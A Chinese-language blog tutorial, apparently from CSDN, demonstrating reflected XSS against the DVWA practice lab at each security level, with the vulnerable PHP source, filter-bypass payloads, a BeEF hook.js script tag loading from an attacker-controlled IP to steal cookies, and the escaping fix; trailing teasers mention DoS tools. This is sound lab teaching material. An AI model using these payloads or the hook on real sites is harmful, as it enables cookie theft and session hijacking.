代码编织梦想

Xss原理及技术分类

xss的原理:输出问题导致的js代码被执行

Xss技术分类:
1.反射型(非持续型)
2.存储型跨站(持续型)
3.Dom型

本文就验证反射型xss攻击,使用dvwa进行渗透实验。存储型和Dom型会马上补上

dvwa_low级别

Dvwa靶场low级别为例:

首先第一步: 查看源代码(View Source)

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

    这段代码的意思就是界面是输入一个内容,点击提交。Get方式提交。当输入不为空之后就输出,首先输出的是Hello,紧接着就是我们输入的内容。

输入语句:

<script>alert(/xss/)</script>

在这里插入图片描述
    界面弹窗出现/xss/,说明我们的测试成功,我们查看一下真正的源代码(鼠标右键选中查看页面源代码即可)
在这里插入图片描述
    从源代码中我们可以看到,前面是输出的第一部分Hello,我们输入的脚本被成功解析执行,所以出现了弹窗,我们尝试一下cookie的获取

cookie的获取

xss测试工具之beef

    这个时候我们可以用到xss测试工具,神牛beef
在这里插入图片描述
    如果你的kali里面没有beef,可以参考我的另一篇博客,这是kali的beef安装教程
https://blog.csdn.net/weixin_43847838/article/details/110312851.
在这里插入图片描述
我们找到beef给我们提供的语句
在这里插入图片描述

<script src="http://<IP>:3000/hook.js"></script>

注:这里的< IP >是我们本地的ip

<script src="http://192.168.43.131:3000/hook.js"></script>

    将这段语句放在含有漏洞的地方,点submit执行
在这里插入图片描述
执行完后返回beef,可以看到成功捕捉到了
在这里插入图片描述
在这里就可以看到当前用户的cookie
在这里插入图片描述
Beef的功能还有很多,这里不做一一演示。

document.cooke

    如果只是单纯想得到cookie的话,可以输入以下语句

<script>alert(document.cookie)</script>

在这里插入图片描述

dvwa_Medium级别

先查看源代码View Source

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?> 

    可以看到,获取用户输入的语句没有改变,下一句,出现了一个新的函数str_replace(),这个函数的功能可以简单的理解为替换

str_replace( '<script>', '', $_GET[ 'name' ] )

    这句代码的意思是,对<script>字符进行了替换,替换为NULL。对于这个情况,有多种方法可以进行绕过。

双写绕过

双写绕过

<sc<script>ript>alert(2345)</script>

在这里插入图片描述

大小写混淆方式绕过

大小写混淆方式绕过

<SCript>alert(676767)</script>

在这里插入图片描述
成功绕过。

dvwa_High级别

先查看源代码view Source

Reflected XSS Source
vulnerabilities/xss_r/source/high.php
<?php

header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>

从中可以看出,high级别将替换语句换成了这个

 $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    /i是大小写通用,只要出现script的都会被替换掉
所以我们要使用别的语句来替换含script的脚本

图片插入语句法

图片插入语句法

<img src =1 onerror = alert(999)>

在这里插入图片描述
这里会有一个我们插入的错误图片
在这里插入图片描述
右键查看页面源代码
在这里插入图片描述

dvwa_impossible分析

    最后我们看一下最高的impossible级别,字面意思就是‘不可能(最安全)’级别。
查看源代码View Source

<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?> 

    可以看出多了user_token和session_token,这是防csrf的,因为经常是xss+csrf结合攻击,然后他对我们输入的内容用htmlspecialchars() 函数进行处理

htmlspecialchars()函数

htmlspecialchars函数的功能:
把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
完美的对我们输入的内容进行过滤。

    本站所有文章均为原创,欢迎转载,请注明文章出处https://blog.csdn.net/weixin_43847838/article/details/110358618.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/weixin_43847838/article/details/110358618

CSAWCTF-2018-pwn-shellcode 题解-爱代码爱编程

Write Up 知识点关键字样本运行静态分析程序逻辑求解脚本一些细节:wp_shellcode.py 知识点关键字 栈溢出,shellcode拆分+组装 样本 shellcode样本下载 样本来自2018年CSAWCTF的pwn题目shellcode 运行 检查文件,发现有两个可以利用的点:   栈溢出保护未开启;   NX保护未开

frida hook AES DES RSA 自吐算法-爱代码爱编程

frida hook AES DES RSA 自吐算法 大家好,我是王铁头 一个乙方安全公司搬砖的菜鸡 持续更新移动安全,iot安全,编译原理相关原创视频文章 视频演示:https://space.bilibili.com/430241559 在分析通信协议的时候 经常遇到的加密算法就是那几个 AESDES3DESRSA在hook AES DES

渗透学习笔记-信息收集(持续更新)-爱代码爱编程

目录 Google语句Whois备案信息查询子域名收集CDNCMS指纹识别 Google语句 inurl:admin inurl:login inurl:php?id= site:edu.cn inurl:php?id= site:topsec.com.cn filetype:pdf intitle:i_kei 钟馗之眼&Shodo

随记(四):简述HSTS协议-爱代码爱编程

简述HSTS协议 HSTS协议概要HSTS作用HSTS配置方法 HSTS协议概要 HSTS意为严格传输安全协议(英语:HTTP Strict Transport Security),其最为核心的是一个HTTP响应头(HTTP Response Header),正如图所示: HSTS Header的语法如下: Strict-Transport

慢速DoS攻击工具slowhttptest(网站压力测试工具)-爱代码爱编程

慢速DoS攻击工具slowhttptest(网站压力测试工具) slowhttptest 低带宽的应用层的慢速DoS工具,即通过与目标服务器保持长期的连接,从而将目标服务器的资源耗尽,达到DoS攻击的目的 安装方法 kali中直接安装即可:sudo apt-get install slowhttptest 使用方法 安装完成后,可以先使用slo

http(s)拒绝服务攻击工具--GoldenEye-爱代码爱编程

http/https拒绝服务攻击工具–GoldenEye 获取方法: kali中直接wget:wget https://github.com/jseidl/GoldenEye/archive/master.zip 使用方法: ./goldeneye.py http://... -w 50 ./goldeneye.py http://... -w

渗透测试或安服等面试问题与答案-爱代码爱编程

启明星辰   1开发做的模块有安全漏洞被你发现了,但是老板催着上线 你作为安全工程师怎么处理 加班加紧和开发一块处理安全漏洞,及时向老板汇报情况   2内网服务器被人种植shell,怎么做应急响应   常态化安全检查与安全加固   中间是流程   下层是          收集安全系统报警信息,根据威胁情报平台和之

渗透红线Checklist-爱代码爱编程

很尬的事,手速过快把Pentest打成Pnetest,不过没什么影响,重点是内容的真实性、可用性。 多人协作的渗透项目中,往往每个人擅长点和经验都不同,那么团队有一个人误操作很有可能会带来很严重的后果,导致入口打点被发现,或者内网渗透被监测到。 这份Checklist需要遇到实战足够的坑才能形成这份文档,所以发起邀请渗透师同共完成 "渗透操作红线列表"。

(超详细)XSS和SQL注入-网络渗透测试实验三-爱代码爱编程

文章目录 前言实验目的系统环境网络环境实验工具XSS部分:利用Beef劫持被攻击者客户端浏览器。实验环境搭建。环境搭建参考网站搭建IIS时踩的坑:1、利用AWVS扫描留言簿网站,发现其存在XSS漏洞。2、 Kali使用beef生成恶意代码3、访问http://留言簿网站/message.asp;将以下恶意代码写入网站留言板4、管理员登录login.

Linux中更改用户账号和用户密码的两个命令-爱代码爱编程

Linux中更改用户账号和用户密码的两个命令 1. chage命令 用于更改用户账户和密码的有效期限 chage -l {{username}} //列出用户的密码信息 sudo chage -M {{10}} {{username}} //使密码在10天后过期 sudo chage -M -1 {{username}} //禁止该密码过期

慢速DoS攻击工具slowhttptest(网站压力测试工具)-爱代码爱编程

慢速DoS攻击工具slowhttptest(网站压力测试工具) slowhttptest 低带宽的应用层的慢速DoS工具,即通过与目标服务器保持长期的连接,从而将目标服务器的资源耗尽,达到DoS攻击的目的 安装方法 kali中直接安装即可:sudo apt-get install slowhttptest 使用方法 安装完成后,可以先使用slo

http(s)拒绝服务攻击工具--GoldenEye-爱代码爱编程

http/https拒绝服务攻击工具–GoldenEye 获取方法: kali中直接wget:wget https://github.com/jseidl/GoldenEye/archive/master.zip 使用方法: ./goldeneye.py http://... -w 50 ./goldeneye.py http://... -w